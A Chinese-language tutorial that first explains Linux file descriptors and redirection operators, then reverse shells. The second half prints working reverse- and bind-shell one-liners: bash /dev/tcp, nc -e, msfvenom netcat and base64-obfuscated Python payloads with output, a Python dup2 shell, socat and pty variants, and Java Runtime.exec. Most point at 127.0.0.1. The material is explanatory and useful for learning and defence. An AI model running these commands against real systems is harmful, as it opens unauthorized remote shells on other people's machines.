Linux 重定向以及反弹shell
Linux 重定向与反弹shell
重定向
设备与文件
默认情况下,Unix 将输入与终端键盘相关联,输出与终端显示相关联。Unix 以“一切皆文件”,包括键盘和显示器以及其他设备,几乎所有的设备文件都会被挂载到 /dev/
目录下:
常用文件
linux中几个特殊的文件:
-
stdout:
/dev/stdout
-
stderr:
/dev/stderr
-
stdin:
/dev/stdin
-
fd:
/dev/fd/[0-9]*
该目录用于表示进行操作的程序所打开的文件表的所有文件描述符
fd
。 -
空设备:
/dev/null
,所有的发送至该设备(文件)的数据都将被遗弃;
bash 中支持的几个设备文件:
- tcp:
/dev/tcp/host/port
- udp:
/dev/udp/host/port
实际上这tcp与udp目录下的这两个设备文件并不存在,而是bash匹配到这几个模式后,会进行相关的socket调用,使得如同像操作文件一样操作网络\文件描述符。(也就是说该特性对其他shell,例如zsh、fish等不可用)
进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。
在默认情况下,stdout是行缓冲的,他的输出会放在一个buffer里面,只有到换行的时候,才会输出到屏幕。而stderr是无缓冲的,会直接输出。
例:
# include <stdio.h>
int main()
{
printf("%s","stdout");
fprintf(stderr,"%s\n","stderr");
}
➜ gcc main.c -o test
➜ ./test
stderr
stdout
File Descriptor
默认情况下,这些文件都会有一个文件描述符(file descriptor,FD),每个程序默认有:
stdin = 0
stdout = 1
stderr = 2
文件描述符被存储在每个进程中的文件描述符表(file descriptor table)中,各进程文件描述符表相互独立。
在创建进程时,默认情况下创建了 0、1 和 2 并将其映射到相应的流。
每个流都不知道发送到其描述符或从中读取的数据来自或去往何处;流只处理文件描述符,而不是数据源本身。进程只需要处理文件描述符,而不是文件本身;内核可以安全地管理文件。
分配新的文件描述符时,操作系统会始终使用最低数值的未使用(未打开)的文件描述符。
重定向
分类 | 用法 | 说明 |
---|---|---|
输出 | n>filename |
以输出的方式打开文件 filename,并绑定到文件描述符 n。n 可以不写,默认为 1,也即标准输出文件。 |
n>&m |
用文件描述符 m 修改文件描述符 n,或者说用文件描述符 m 的内容覆盖文件描述符 n,结果就是 n 和 m 都代表了同一个文件,因为 n 和 m 的文件指针都指向了同一个文件。 因为使用的是 > ,所以 n 和 m 只能用作命令的输出文件。n 可以不写,默认为 1。 |
|
n>&- |
关闭文件描述符 n 及其代表的文件。n 可以不写,默认为 1。 | |
&>filename |
将 stdout 和 stderr 全部重定向到 filename。 | |
输入 | n<filename |
以输入的方式打开文件 filename,并绑定到文件描述符 n。n 可以不写,默认为 0,也即标准输入文件。 |
n<&m |
类似于 n>&m,但是因为使用的是 < ,所以 n 和 m 只能用作命令的输入文件。n 可以不写,默认为 0。 |
|
n<&- |
关闭文件描述符 n 及其代表的文件。n 可以不写,默认为 0。 | |
输入和输出 | n<>filename |
同时以输入和输出的方式打开文件 filename,并绑定到文件描述符 n,相当于 n>filename 和 n<filename 的总和。。n 可以不写,默认为 0。 |
如果右侧是文件描述符fd,且在右侧,需要在fd前面加入
&
;
fd
与>
之间的无空格,>
与file
之间空格可有可无;最好都采用无空格方式。
重定向原理
应用程序拥有文件打开表,实际上是一个结构体数组,File Descriptor实际上就是数组的序号(从0开始);数组中每一个的元素是一个文件指针(用于找到OS的文件表,存储真正的文件信息)。即文件描述符一直都是固定的,而变动的是文件描述符 fd 位置存储的结构体值。
例:
ls 1>out
该程序首先打开out文件,构造一个结构体并存入程序的文件打开表(数组)中,其fd为元素在数组中的序号。1>out
即将原应该指向out文件的结构体值,覆盖到数组的1号位;此后,数组的1号位,即fd=1的文件指向为文件out。ls
命令依然会向 fd=1
的对应文件进行写标准输出操作,故所有的标准输出都会写入到out文件中。
重定向并不影响程序使用哪个文件描述符来进行读写操作,而是改变了相应文件描述符指向其他文件。
多次重定向
多个操作符在一起会从左往右依次执行。
例:
对于命令 cmd 1>file 2>&1
有两步:
- 先执行
1>file
,让文件描述符 1 指向 file; - 执行
2>&1
,用文件描述符 1 的fd结构体内容覆盖文件描述符 2 fd结构体内容;
最终fd 1、2都指向file。
如果为 cmd 2>&1 1>file
,其结果会导致:fd数组2号位置指向stdout,fd数组1号位指向file,即之后的标准输出会输出到file中。
绑定文件描述符
实际上重定向时,可以制定未使用的一个文件描述符映射至文件,例如将 fd=1234
映射至特定 tcp socket
:
exec 123<>/dev/tcp/www.baidu.com/80
此处将 fd=123
与 socket=www.baidu.com:80
建立映射。
此后便可以使用该文件描述符进行操作,例如:
每当程序打开并建立一个文件描述符,在 /dev/fd/
下可以看到:
/dev/fd/
中的文件并不能直接写入。
反弹 shell
linux 反弹shell即将远程终端的shell程序(一般选用bash)的输入输出重定向于另一个机器的应用程序。
反弹shell通常需要:
- 将本地shell的 stdout 与 stderr 重定向于远程机器应用的输出。
- 将本地shell的输入重定向于远程连接中的输入。
例:经典的 bash 中的反弹shell:
bash -i &> /dev/tcp/127.0.0.1/1234 0>&1
&> /dev...
将程序文件打开表 fd[1]
与 fd[2]
的结构体值被 tcp socket文件对应的fd结构体值所覆盖,之后bash对 fd[1]
,fd[2]
的输出,都将会输出到这个tcp socket中;
0>&1
的作用为将 fd[1]
的结构体内容覆盖到 fd[0]
上,即之后bash要从 fd[0]
获取输入时,将会从这个tcp socket中获取输入内容(第一步已经将 fd[1]
指向了tcp socket)
例:如果为下面这种,则bash会试图打开两条tcp连接,可能导致非预期的错误:
bash -i &> /dev/tcp/127.0.0.1/1234 0</dev/tcp/127.0.0.1/1234
例:由于/dev/tcp只在bash、sh中有效,所以可以使用 -c
参数执行命令
bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0<&1'
例:先绑定文件描述符,之后使用
exec 404<> /dev/tcp/127.0.0.1/1234; cat <&404 | while read line ; do $line >&404 2>&1; done;
- 为tcp socket建立一个描述符结构体,将其赋值到在
fd[404]
上; - 之后对于cat命令,
fd[0]
赋值为fd[404]
的内容,cat从fd[0]
映射的文件读取内容,即从tcp socket中读取; - cat读取的内容通过管道送到read中,赋给变量
line
(line即为远程输入的命令); fd[404]
的内容赋到fd[1]
,fd[1]
的内容被赋到fd[2]
,之后line
的执行结果被写入到fd[1]
与fd[2]
,也即被写入tcp socket;- 下一个循环。
read
命令通过读取用户的标准输入,为变量赋值:
例:
exec 404<>/dev/tcp/127.0.0.1/1234; 0<&404; bash -i <&404 >&404 2>&404
fd[404]
与tcp socket建立映射;fd[0]
被赋值为fd[404]
的内容;- 将bash的
fd[0]
,fd[1]
,fd[2]
都设为fd[404]
的值。
利用工具
利用nc
如果目标机器装有netcat,也可以利用 -e
参数将程序的输入输出定向于网络。
例:目标机
nc -e /bin/sh ip port
注意:如果利用nc作为工具来获取反弹shell的数据以及对其输入数据,其本身是但用户输入换行符后才会真正地发送数据,而且此时目标机器未分配伪终端,所以此时的shell就如同执行shell脚本一样,而不是一个交互式终端。
msfveon
msfveon 可以生成多种类型的反弹shell的payload,可以使用以下命令查找相应的payload:
msfveon -l payloads | grep cmd
例:
msfveon 生产使用 netcat 接受连接的命令:
➜ ~ msfvenom -p cmd/unix/bind_netcat
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 109 bytes
mkfifo /tmp/hvbynpx; (nc -l -p 1234 ||nc -l 1234)0</tmp/hvbynpx | /bin/sh >/tmp/hvbynpx 2>&1; rm /tmp/hvbynpx
利用 netcat 来生产反弹shell命令:
➜ msfvenom -p cmd/unix/reverse_netcat LHOST=127.0.0.1 LPORT=1234 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 99 bytes
mkfifo /tmp/hkcizbp; nc 127.0.0.1 1234 0</tmp/hkcizbp | /bin/sh >/tmp/hkcizbp 2>&1; rm /tmp/hkcizbp
其他语言反弹shell
python 重定向
相关函数:
-
socket.dup()
:创建套接字的副本。 -
socket.fileno()
:返回套接字的文件描述符(一个小整数),失败返回-1
。 -
os.dup2(fd, fd2, inheritable=True)
:把文件描述符fd
复制到fd2
(之后对fd2的操作实际上就是对fd对应文件的操作),必要时先关闭后者。返回fd2
。新的文件描述符默认是可被子进程继承的,除非在inheritable
为False
时,是不可继承的。dup2
不会改变file.fileno()
方法的返回值,但是写入到file2的数据都会重定向于file1 。
One line code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
展开为:
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh","-i"])
实际上就是把子进程的输入输出重定向到socket。
例:利用msfveno 生成python 反弹shell
➜ msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 553 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAsICAgIHN1YnByb2Nlc3MgLCAgICBvcyAgICAgOyAgICAgaG9zdD0iMTI3LjAuMC4xIiAgICAgOyAgICAgcG9ydD0xMjM0ICAgICA7ICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgLCAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICBzLmNvbm5lY3QoKGhvc3QgLCAgICBwb3J0KSkgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAsICAgIDApICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgLCAgICAxKSAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICwgICAgMikgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==')[0]))"
该代码作用为:将下面的字符串通过UTF-8进行编码,然后再通过base64解码出原始代码,最后调用exec执行字符串中的代码。(内容与上述例子相同)
pty
利用python的 pty
模块,可以在目标机器上分配一个伪终端,可以让命令的输出成功应用终端色彩模式。
例:
python -c 'import pty; pty.spawn("/bin/bash")' &>/dev/tcp/127.0.0.1/1234 0<&1
可以与 socat
搭配,让本终端应用伪终端,但依旧会有字符显示错位等小问题。
控制端:
socat file:tty,raw,echo=0 tcp-listen:8080
file
:指定了终端的IO模式,tcp-listen
:指定监听tcp端口。
如果被控端也有 socat
工具的话,也可以这样:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:target-ip:1234
exec
:处理bash的io,且指定之后的IO属性,将IO与 tcp
相连。
java
java 可以利用 Runtime().exec()
方法执行命令。该方法返回一个 Process
对象,其创建的线程可以通过以下方法重定向子进程的流:
-
getOutputStream()
:获取一个输入流,以读取子进程的标准输出; -
getErrorStream()
:获取一个输入流,以读取子进程的错误输出; -
getInputStream()
:获取一个输出流,以将数据写入子进程的标准输入;
exec方法提供了多个重载形式:
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
无论是哪一种,最终都是调用了 public Process exec(String[] cmdarray, String[] envp, File dir)
方法。
需要注意的是,要正确的将命令以字符串数组的形式传入exec方法中,而不是直接传入一个字符串。因为传入 String cmd
时,
exec(String command, String[] envp, File dir)
方法会对其进行分割,分割符为 '\n'
、' '
、'\t'
等空白符。
例:
String []cmds = new String[]{"/bin/bash","-c","bash -i 1>/dev/tcp/127.0.0.1/12345 2>&1 <&1"};
Process process = Runtime.getRuntime().exec(cmds);
process.waitFor();
Process 的执行是异步的,所以不用单独开启一个线程来执行命令。需要结束时使用
destory
方法销毁子进程。
参考: